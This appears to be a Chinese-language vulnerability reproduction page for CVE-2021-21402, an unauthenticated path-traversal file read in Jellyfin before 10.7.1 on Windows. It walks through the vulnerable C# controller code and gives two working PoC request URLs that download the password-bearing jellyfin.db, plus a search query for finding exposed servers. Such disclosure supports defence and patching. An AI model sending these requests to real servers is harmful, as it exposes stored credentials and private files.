跳转至

Jellyfin stream.mp3 任意文件读取漏洞 CVE-2021-21402

漏洞描述

Jellyfin是一个免费软件媒体系统。在10.7.1版之前的Jellyfin中,带有某些终结点的精心设计的请求将允许从Jellyfin服务器的文件系统中读取任意文件。当Windows用作主机OS时,此问题更为普遍。暴露于公共Internet的服务器可能会受到威胁。在版本10.7.1中已修复此问题。解决方法是,用户可以通过在文件系统上实施严格的安全权限来限制某些访问,但是建议尽快进行更新。

漏洞影响

Jellyfin < 10.7.1

网络测绘

title='Jellyfin' || body='http://jellyfin.media'

漏洞复现

无论是/Audio/{Id}/hls/{segmentId}/stream.mp3/Audio/{Id}/hls/{segmentId}/stream.aac路线允许任意文件在Windows上读取。可以{segmentId}使用Windows路径分隔符\(对%5CURL进行编码)将路由的一部分设置为相对或绝对路径。最初,攻击者似乎只能读取以.mp3.aac结尾的文件。但是,通过在URL路径中使用斜杠

Path.GetExtension(Request.Path)返回一个空扩展名,从而获得对结果文件路径的完全控制。的itemId,因为它没有使用也没有关系。该问题不仅限于Jellyfin文件,因为它允许从文件系统读取任何文件。

// Can't require authentication just yet due to seeing some requests come from Chrome without full query string
// [Authenticated] // [1]
[HttpGet("Audio/{itemId}/hls/{segmentId}/stream.mp3", Name = "GetHlsAudioSegmentLegacyMp3")]
[HttpGet("Audio/{itemId}/hls/{segmentId}/stream.aac", Name = "GetHlsAudioSegmentLegacyAac")]
//...
public ActionResult GetHlsAudioSegmentLegacy([FromRoute, Required] string itemId, [FromRoute, Required] string segmentId)
{
    // TODO: Deprecate with new iOS app
    var file = segmentId + Path.GetExtension(Request.Path); //[2]
    file = Path.Combine(_serverConfigurationManager.GetTranscodePath(), file);

    return FileStreamResponseHelpers.GetStaticFileResult(file, MimeTypes.GetMimeType(file)!, false, HttpContext);
}

使用如下请求将会读取带有密码的数据库文件

http://xxx.xxx.xxx.xxx /Audio/anything/hls/..%5Cdata%5Cjellyfin.db/stream.mp3/

另一处代码如下

// Can't require authentication just yet due to seeing some requests come from Chrome without full query string
// [Authenticated] //[1]
[HttpGet("Videos/{itemId}/hls/{playlistId}/{segmentId}.{segmentContainer}")]
//...
public ActionResult GetHlsVideoSegmentLegacy(
    [FromRoute, Required] string itemId,
    [FromRoute, Required] string playlistId,
    [FromRoute, Required] string segmentId,
    [FromRoute, Required] string segmentContainer)
{
    var file = segmentId + Path.GetExtension(Request.Path); //[2]
    var transcodeFolderPath = _serverConfigurationManager.GetTranscodePath();

    file = Path.Combine(transcodeFolderPath, file); //[3]

    var normalizedPlaylistId = playlistId;

    var filePaths = _fileSystem.GetFilePaths(transcodeFolderPath);
    // Add . to start of segment container for future use.
    segmentContainer = segmentContainer.Insert(0, ".");
    string? playlistPath = null;
    foreach (var path in filePaths)
    {
        var pathExtension = Path.GetExtension(path);
        if ((string.Equals(pathExtension, segmentContainer, StringComparison.OrdinalIgnoreCase)
                || string.Equals(pathExtension, ".m3u8", StringComparison.OrdinalIgnoreCase)) //[4]
            && path.IndexOf(normalizedPlaylistId, StringComparison.OrdinalIgnoreCase) != -1) //[5]
        {
            playlistPath = path;
            break;
        }
    }

    return playlistPath == null
        ? NotFound("Hls segment not found.")
        : GetFileResult(file, playlistPath);
}

/Videos/{Id}/hls/{PlaylistId}/{SegmentId}.{SegmentContainer}路由允许在Windows上读取未经身份验证的任意文件。可以{SegmentId}.{SegmentContainer}使用Windows路径分隔符\(对%5CURL进行编码)将路由的一部分设置为相对或绝对路径。在SegmentId从和文件扩展名Path被级联。结果file用作Path.Combine[3]的第二个参数。但是,如果第二个参数是绝对路径,则第一个参数to将Path.Combine被忽略,而得到的路径仅是绝对路径file

POC如下,下载同样的文件

http://xxx.xxx.xxx.xxx/Videos/anything/hls/m/..%5Cdata%5Cjellyfin.db